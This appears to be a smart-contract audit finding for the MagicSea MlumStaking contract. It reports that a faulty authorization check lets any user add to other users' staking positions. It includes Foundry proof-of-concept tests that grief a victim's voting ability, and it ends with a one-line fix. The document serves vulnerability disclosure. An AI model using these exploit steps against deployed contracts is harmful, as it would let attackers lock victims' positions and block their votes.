kmXAdam - Error in access control check allows users to add to positions of other users

[sherlock-admin2]

kmXAdam

Medium

Error in access control check allows users to add to positions of other users

Summary

The protocol tries to allow only owners or approved users of a position to add to the position . but due to a wrong check in access control modifier any user can add to another users position.

Vulnerability Detail

the function MlumStaking::addToPosition allows users to add to existing positions:

function addToPosition(uint256 tokenId, uint256 amountToAdd) external override nonReentrant {
=>    _requireOnlyOperatorOrOwnerOf(tokenId);

as we can see there is a check that only the operator or ownerOf the token should add to the position:

    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        require(
            ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId),
            "FORBIDDEN"
        );
    }

it is done by the _isAuthorized ERC721 function:

 function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
        return
            spender != address(0) &&
            (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
    }

and as we can see it's checking if the owner is the spender, but in _requireOnlyOperatorOrOwnerOf we are passing for both the owner and spender msg.sender, basically the check will always pass.

this makes it so that anybody can add to positions of other users.

this can be maliciously used to add to users lock time or to update their lockDuration so that they are unable to vote (see POC below).

Proof Of Concept

here is a Foundry POC to show that anybody can add to other users positions:

• run : forge test --match-test testAnybodyCanAddPosition -vv

function testAnybodyCanAddPosition() public{
        address attacker = address(0x1337);
        
        _stakingToken.mint(ALICE, 2 ether);
        _stakingToken.mint(attacker, 1);

        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 1 days);

        //Alice owns the position with id 1
        assertEq(ERC721(address(_pool)).ownerOf(1), ALICE);

        vm.stopPrank();

        //attacker can add to the position even when he is not approved nor the owner
        vm.startPrank(attacker);
        _stakingToken.approve(address(_pool), 1);
        _pool.addToPosition(1, 1);
        vm.stopPrank();

    }

here is POC of an attacker griefing alice's position to not be able to vote.
she has two positions with exactly the same params, the attacker griefs one of them , and she isn't able to vote with it.

function testGriefVoting() public{
        address attacker = address(0x1337);

        _stakingToken.mint(ALICE, 3 ether);
        _stakingToken.mint(attacker, 1);
        
        {
        vm.startPrank(ALICE);
        _stakingToken.approve(address(_pool), 1000 ether);
        _pool.createPosition(1 ether, 2 weeks);
        _pool.createPosition(1 ether, 2 weeks);
        vm.stopPrank();
        }

        vm.warp(block.timestamp + 2 weeks);

        vm.prank(DEV);
        _voter.startNewVotingPeriod();

        //attacker griefs alice by adding to her position and updating her lock time
        {
        vm.startPrank(attacker);
        _stakingToken.approve(address(_pool), 1);
        _pool.addToPosition(1, 1);
        vm.stopPrank();
        }

        //alice now tries to vote with both positons
        {
        vm.startPrank(ALICE);

        console.log("votes before: ", _voter.getVotesPerPeriod(1, _getDummyPools()[0]));

        //alice cant vote with the position that was griefed
        vm.expectRevert(IVoter.IVoter__InsufficientLockTime.selector);
        _voter.vote(1, _getDummyPools(), _getDeltaAmounts());

        //but alice can vote just fine with the position that wasn't griefied
        _voter.vote(2, _getDummyPools(), _getDeltaAmounts());

        console.log("votes after: ", _voter.getVotesPerPeriod(1, _getDummyPools()[0]));

        vm.stopPrank();
        }
    }

Impact

anybody can add to any position owned by other users, which can open up a lot of attack vectors, one of which is griefing the position to not allow it to vote or adding to it's lock time.

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/tree/main/magicsea-staking/src/MlumStaking.sol#L397-L428

https://github.com/sherlock-audit/2024-06-magicsea/tree/main/magicsea-staking/src/MlumStaking.sol#L140-L143

Recommendation

Tool used

Manual Review

Recommendation

    function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
        require(
-           ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId),
+           ERC721Upgradeable._isAuthorized(_ownerOf(tokenId), msg.sender, tokenId),
            "FORBIDDEN"
        );
    }

Duplicate of #378